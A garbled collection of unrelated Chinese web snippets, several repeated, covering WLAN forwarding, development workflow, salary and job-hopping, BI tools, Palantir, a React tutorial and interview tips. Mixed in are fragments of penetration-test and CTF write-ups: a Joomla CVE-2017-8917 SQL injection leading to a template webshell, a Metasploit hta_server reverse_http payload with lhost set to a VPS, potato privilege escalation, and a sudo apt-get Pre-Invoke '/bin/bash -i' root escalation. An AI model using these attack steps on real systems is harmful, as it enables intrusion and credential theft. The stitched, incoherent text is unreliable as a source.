图片.png 百度了下是CVE-2017-8917 searchsploit joomla 3.7.0 图片.png 查看具体文件，看到了详细信息。 图片.png 直接sqlmap扫描。...图片.png 在表#__users找到用户密码。 图片.png 图片.png 密码被加密了。john爆破。 图片.png 登陆后台。...既然是只能提权，那当然是再网站上进行GetShell了。 图片.png 在Templates模块下编辑一句话。.../doubleput，却没有成功提权。...图片.png 理了半天还是没有头绪······ 我又在kali里面试了一下，还是这个问题，提权不成功······ 图片.png 在此向大佬们求助一下，如果看到我哪里出错了评论下我，非常感谢！
上回说到，小超加入微商，新华三分销，喜提五层楼别野墅，出任CEO，迎娶白富美，用上Wi-Fi 6，过上了没羞没臊的幸福生活。...然而，随着小超接触到了抖音、快手、斗鱼、陌陌、Pornhub、学习强国等APP，小超和白富美的幸福生活蒙上了一层阴影…… 原来，小超在陌陌学习强国上看小姐姐直播方老师讲SDN的时候，发现视频的响应实时性不够强...小超：我哪里无情！？哪里残酷！？哪里无理取闹！？ 白富美：你哪里不无情！？哪里不残酷！？哪里不无理取闹！？ 小超：我就算再怎么无情、再怎么残酷、再怎么无理取闹，也不会比你更无情、更残酷、更无理取闹！...小超只好找到了老司机…… 老司机对小超耳语一番…… 小超回到家，找到了《H3C WLAN产品本地转发特性简介》(点“原文链接”查看) 原来，AC+瘦AP的方案，弊端在于—— 下图是传统集中式转发的数据流向图...如图所示，在本地转发的组网方式中，STA的数据包在AP上桥接到以太网，也就是将802.11的二层头部换成802.3的二层头部。WLAN AC只对AP进行管理，以及实现用户的认证。
前段时间运营小姐姐找我了解一些开发相关的内容，就跟她讲到了我们的开发流程。这里简单做个小结。 2....比如某个按钮具体放到哪里、宽高多少、颜色值多少、点击后如何跳转，等等。然后设计师会根据设计稿切图并给到前端开发人员。 3. 技术评审 就是确定技术方案，这部分工作就要由我们开发人员来主导了。...PS: 有时候提测之前测试同学会给出一个冒烟测试用例（非必须），通常是主流程和一些核心部分逻辑，当这些地方都没问题时，才可以提测。 9....而到了预发布环境，各种配置和数据库就跟生产环境基本一致了。 如果预发布环境没问题，就准备发布生产环境了。 12....一般在需求过程中问题比较多时，会复盘一下问题主要出在哪里，以后如何规避等。 15. 需求完成 至此，一个比较完整的需求研发流程就结束了。 4. 补充说明 1.
前段时间运营小姐姐找我了解一些开发相关的内容，就跟她讲到了我们的开发流程。这里简单做个小结。 2. 整体概述 一个相对完整的需求研发流程大致如下图所示： ?...比如某个按钮具体放到哪里、宽高多少、颜色值多少、点击后如何跳转，等等。然后设计师会根据设计稿切图并给到前端开发人员。 3. 技术评审 就是确定技术方案，这部分工作就要由我们开发人员来主导了。...PS: 有时候提测之前测试同学会给出一个冒烟测试用例（非必须），通常是主流程和一些核心部分逻辑，当这些地方都没问题时，才可以提测。 9....而到了预发布环境，各种配置和数据库就跟生产环境基本一致了。 如果预发布环境没问题，就准备发布生产环境了。 12....一般在需求过程中问题比较多时，会复盘一下问题主要出在哪里，以后如何规避等。 15. 需求完成 至此，一个比较完整的需求研发流程就结束了。 4. 补充说明 1.
网友在知乎提问： 最近在思考一个问题，为什么跳槽往往意味着加薪？ 如果一个人确有价值，为什么在原来的公司没有在薪水上体现出来？如果没有价值，为什么跳槽以后就会加薪？...再展开说两句： 在2012年，某岗位本科应届毕业生起薪2K—3K； 但到了2015年，同岗位的本科应届毕业生起薪已经涨到了5K（如果低于5K面试通知都发不出去）； 如果2012年入职的毕业生小A合同起薪是...人才流动不是没有阻力，不是单纯的哪里给钱多就去哪里，考虑的方面太多了，要克服阻力，招聘单位自然需要加大诱惑，加薪是最简单实际的解决方案。 如果一个人确有价值，为什么在原来的公司没有在薪水上体现出来？...第二：如果你不提加薪，我也没有理由主动给你加薪，事实上有许多人不会提加薪，默默地干着，作为老板的我不提这茬多好，我主动提这茬，员工都顺坡下驴来给我提条件，我不是吃饱了撑的？...第三：你如果要跳槽，我给你 counter offer，这会产生一个问题，对老板而言你已经有了贰心，我如果聪明点的话就会快点开始找你的替补，免得你尝到了甜头拿加薪当勒索。
有网友在知乎提问： 最近在思考一个问题，为什么跳槽往往意味着加薪？ 如果一个人确有价值，为什么在原来的公司没有在薪水上体现出来？如果没有价值，为什么跳槽以后就会加薪？...再展开说两句： 在2012年，某岗位本科应届毕业生起薪2K—3K； 但到了2015年，同岗位的本科应届毕业生起薪已经涨到了5K（如果低于5K面试通知都发不出去）； 如果2012年入职的毕业生小A合同起薪是...人才流动不是没有阻力，不是单纯的哪里给钱多就去哪里，考虑的方面太多了，要克服阻力，招聘单位自然需要加大诱惑，加薪是最简单实际的解决方案。 如果一个人确有价值，为什么在原来的公司没有在薪水上体现出来？...第二：如果你不提加薪，我也没有理由主动给你加薪，事实上有许多人不会提加薪，默默地干着，作为老板的我不提这茬多好，我主动提这茬，员工都顺坡下驴来给我提条件，我不是吃饱了撑的？...第三：你如果要跳槽，我给你 counter offer，这会产生一个问题，对老板而言你已经有了贰心，我如果聪明点的话就会快点开始找你的替补，免得你尝到了甜头拿加薪当勒索。
起码在元数据的存储、ETL和数据仓库建设上能够实现基础的功能。因为不管是业务，还是企业管理，领导总是想要最好的，哪怕公司的信息化水平是很差的、很不成熟的，但是他们从来不是基于其现状提需求的。...哪里商业了？哪里又智能了？现在懂了——你提数据产品，就像和老太太提蛋白粉一样，他们根本不care。 你得起一个一听就跟企业赚钱有关系（商业）且一听就很高深别人不咋明白的名字（智能），才能让人信服。...所以从解放IT+赋能业务的角度来看，FineBI真正做到了这些事情： 业务的那些一次性且个人分析的需求，完全可以自己解决了，可以说培养了更多的数据分析师 IT能有更多的时间去梳理企业的数据底层，而不是浪费在无用的重复工作上...企业里的报表，其实有很多都说重复开发的，比如说有了全省的报表，但是到了全国的报表，还得再做一遍。...秀的时间到了，只需要在组件复用中拖拖拽拽，就可以自动生成新的分析图表，再修改修改就是新的驾驶舱了。
请求从哪里开始，到哪里结束？ 每个请求中传输哪些数据？ 我们怎么测试，或者说保证这些请求在成功、失败时都得到了正确处理？ 这种方式可以说借助了白盒测试的思想，也可以说是一种灰盒测试。...无论是哪一种情况，我相信只要做到了那个位置，如何编写测试计划都不需要我多说什么。...给大家举两个例子： 第一个例子是在提测的环节，有的银行会要求开发人员编写三个文档，提测时需要把这三个文件作为附件一并发送给测试经理审核。...《联调测试用例》：每个系统的开发人员都需要编写，并且在提测前自测通过。自测通过以后还需要把测试通过的截图附加到excel中。 《联调测试报告》：类似于常规的系统测试报告。...《影响性分析》：在文档中告诉我们，这次需求改动了哪些地方，如何修改的，这次修改影响到了哪里。这个文档可以帮助我们明确测试范围，减少漏测。
卡普走到哪里他就跟到哪里。即便是在距离帕兰提尔公司总部很近的帕洛阿尔托城郊街道上，这位保镖也会在卡普身后几步远的地方如影随形。 “这严重束缚了我的生活。”...但卡普说，帕兰提尔目前还不愿考虑上市这种可能性。 帕兰提尔公司业务的最大问题或许在于，其软件实在太好，帮助其客户看到了太多的东西。...不久后，他们接到了化解其“有毒”抵押贷款组合的任务。 如今，帕兰提尔公司在纽约的经营场所已经扩大，变成了一个五脏俱全、以蝙蝠侠为主题的办事处，取名“哥谭”。...在递交给NCRIC的商业计划书中，帕兰提尔提供了客户参考，包括洛杉矶和纽约警察局。该公司声称，它能在5秒钟内搜索纽约警察局的5亿张车牌照片。卡茨-拉查比联系了帕兰提尔公司，谈到了他对隐私的担忧。...“得益于他们在我们产品中收集的车牌信息，他们在街上逮到了他，救了很多孩子的命。”
卡普走到哪里他就跟到哪里。即便是在距离帕兰提尔公司总部很近的帕洛阿尔托城郊街道上，这位保镖也会在卡普身后几步远的地方如影随形。 “这严重束缚了我的生活。”...但卡普说，帕兰提尔目前还不愿考虑上市这种可能性。 帕兰提尔公司业务的最大问题或许在于，其软件实在太好，帮助其客户看到了太多的东西。...不久后，他们接到了化解其“有毒”抵押贷款组合的任务。 如今，帕兰提尔公司在纽约的经营场所已经扩大，变成了一个五脏俱全、以蝙蝠侠为主题的办事处，取名“哥谭”。...在递交给NCRIC的商业计划书中，帕兰提尔提供了客户参考，包括洛杉矶和纽约警察局。该公司声称，它能在5秒钟内搜索纽约警察局的5亿张车牌照片。 卡茨-拉查比联系了帕兰提尔公司，谈到了他对隐私的担忧。...“得益于他们在我们产品中收集的车牌信息，他们在街上逮到了他，救了很多孩子的命。”
项目地址：https://github.com/Nealyang/React-Express-Blog-Demo 本想等项目做完再连载一波系列博客，随着开发的进行，也是的确遇到了不少坑，请教了不少人。...react-redux 配置说明 reducer 首先我们在项目/app/reducers下新建一个index.js，用于导出所有的reducer。...关于admin中为什么判断this.props.userInfo后续权限判断哪里会说到。以及会说这里遇到的一些问题（重点）。这里我们还是只关注路由部分。再次强调，必须使用match 来取url。...后续随着开发，回往/app/reducers中在添加对应的reducer。以及在路由中添加新建的页面。 如果您有更好想法，欢迎您联系我。我们一起改进~ 如果有什么不明白的地方，欢迎提issue。...交流 倘若有哪里说的不是很明白，或者有什么需要与我交流，欢迎各位提issue。或者加群联系我~ 扫码关注我的个人微信公众号，直接回复，必有回应。分享更多原创文章。点击交流学习加我微信、qq群。
书中有一个案例，是关于记数字的，在别人只念一遍的情况下，正常人只能记住7-8个数字，但是为什么有些人可以记住几百个？ 如果不去了解，你也许觉得那是因为有记忆天赋，但事实并非如此。...在我看来，执行一个简单的日常需求，设计可以分为三层提核： 1.“方向层”提核 2.“执行层”提核 3.“细节层”提核 我以一个“更新弹窗”的需求为例，分享下如何在这三个层面进行“提核” 1....“细节层”提核 最后来说下细节层，这里考验的就是基本功，并不是一两天的就可以做好的，但有什么不会的地方，还是可以向团队其他厉害的成员请教，这里讲三个细节： （1）舌头 我在画舌头的时候，在网上找了很多参考...这里的细节核心在于“镜片的形状”或者“镜片上的纹理”，在这样的细节”核心“指导下，才有了后面的这个眼镜： （3）背景 背景的问题在于主体物构成“三角构图”，使画面不够饱满： 而不饱满的核心解决方案就是“哪里不满添哪里...”，所以我加重了左上角的视觉重量，以及背景的一些纹理，使整体更加饱满： 除此之外，在画企鹅娘的时候，由于我个人造型能力很弱，所以期临摹参考了一些其他的卡通人物，才对表情、动势稍微有点感觉，也得到了很多同事的帮助
\n\n于是我在文档中仔细查看，找到了一个对返回内容校验的参数expectBody，通过参数解释我们可以看到这个参数可以对返回内容做一次equal判断，不匹配则统计到错误数据中。这正是我们需要的！...项目官方是否已经在安排解决？...\n\n所以我们走到了方案三的分支：自己提issue，自己改\n\n## 解决问题\n\n### 与maintainer沟通\n\n来到了解决问题的步骤，我们就需要先通过提issue的方式，与项目的maintainer...\n\n找到了逻辑实现的位置，我们还面临接下来的诸多问题：参数定义逻辑在哪里？参数校验逻辑在哪里？worker模式如何传参？…。\n\n带着这些问题，我们可以以点及面，逐步了解项目的全貌。...不过在提PR之前，有几个问题我们还需要注意。\n\n#### 单元测试\n\n为自己的代码增加对应的单测是每个开发者都应该遵守的美德，也是开源社区的公约。
reverse_http msf5 exploit(windows/misc/hta_server) > set lhost VPS_IP lhost => VPS_IP 这里就开始监听断开，然后需要在对方哪里执行命令...接下来就开始提权了！...话不多说直接提权开搞！ ? 利用CS的本地提权插件里面的potato提权漏洞进行提取成功。提取到了system权限本来是可以获取对方的哈希的，因为是windows 2012的操作系统这里无法获取明文。...的确这里会转跳到web域名哪里 ? 接着在这台服务器里面发现了MSSQL数据库的连接文件，并且发现了密码 ? 接着即可利用工具来进行连接到10.10.10.5这台数据库服务器了！ ?...然后访问之，发现它的网站是使用xampp搭建的网站，然后再它的配置文件找到了它的数据库连接文件。这里他也是有phpmyadmin的，如果是内网访问的话是无密码就可以访问，外网是不能访问的！ ?
在瞬间万变的环境下，怎样才能最有效地解决难题，并没有一个固定的规律。但是，成功并不是没有程序可循的。遇到难题，不管你要怎样解决它，成功的前提是看清难题的关键在哪里。...找到了问题的关键，也就找到了解决问题的方法，剩下的就是如何来具体实行了。...在我们看来，这一指控毫无道理。但在结果宣判之前，种种迹象表明，这位妇女的要求得到了大多数陪审团成员的支持。想到马上就要支付巨额的赔偿费，宇宙足球厂的老板很是忧虑。...经过调查，戈登发现大陆航空公司从罗利飞往堪萨斯城或奥兰多或辛辛那提的航班极不合理，乘客想要去别的重要城市很不方便。...要想解决问题，必须清楚问题出在哪里。看到了问题的症结所在，也就找到了解决问题的办法了。所以，遇到问题后首要的就是要分析问题，只有这样，在解决起问题来才会得心应手，事半功倍。 ——智库百科
现在担任某省属投资平台财务负责人的他，一直在不断挑战自己，寻求数字化转型中企业经营管理自动化的最优解。...刚毕业时，他号称自己是一个“超级工具人”，从计算器、excel到用友、税友等，精通各种常用的财务软件/工具，组织需要什么就学什么，组织需要他在哪里就在哪里。...在企业内部信息化的建设过程中，遇到了很多挑战，从人力资本管理到业务经营管控，从税务风险管控到资金周转管理，遇到了大量的数据信息对接问题。...在庞大的体系里，一个问题的决策通常跨很多部门，涉及到多系统、多人参与，非标流程多，非标数据多。...这也是他第一次接触到“财务自动化”和“系统自动化”的概念，也是第一次开始思考，如何用工具和体系去帮助自己的工作提效。
在search存在任意文件读取 ? ? ? 阅览cookie.php发现回显了文件 ? 这里有一个authenticate.php ? 正常读取会出现退出登陆的情况，使用php伪协议读取到了文件 ?...回到sessions哪里，因为有nc ? 对shell进行升级 SHELL=/bin/bash script -q /dev/null ?...然后卡壳，最终解决如下 记录如下 输入 sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i" 提权 ?
作者纪小雄，人称 "面霸真君"，在6月份面了4家公司，最后稳稳地拿下了3份offer。 注：本文以数据分析师这一偏业务方向的职位为例，其他岗位方向的可以参考套路。 首先假设，我接到了一个面试通知。...分析岗位职责 第一条，考验的是提数功能。运营部门经常有各种数据需求，看你是否能够及时准确地反馈给他们。...这些经常性的数据我都会用BI工具自动化，其余的就是SQL提数了。...03 挖坑和填坑 另外很多公司都会问你，你觉得自己的优势在哪里？缺点在哪里？——这都是妥妥的坑呀！ 中规中矩的回答是，优势说跟工作相关的。比如我对业务流程理解很通透，很多分析指标我提出来就一直在用。...哪里还有不足？ 真传一句话，假传万卷书。 内容虽少，不过都是干货，最后祝养码人offer接到手软！
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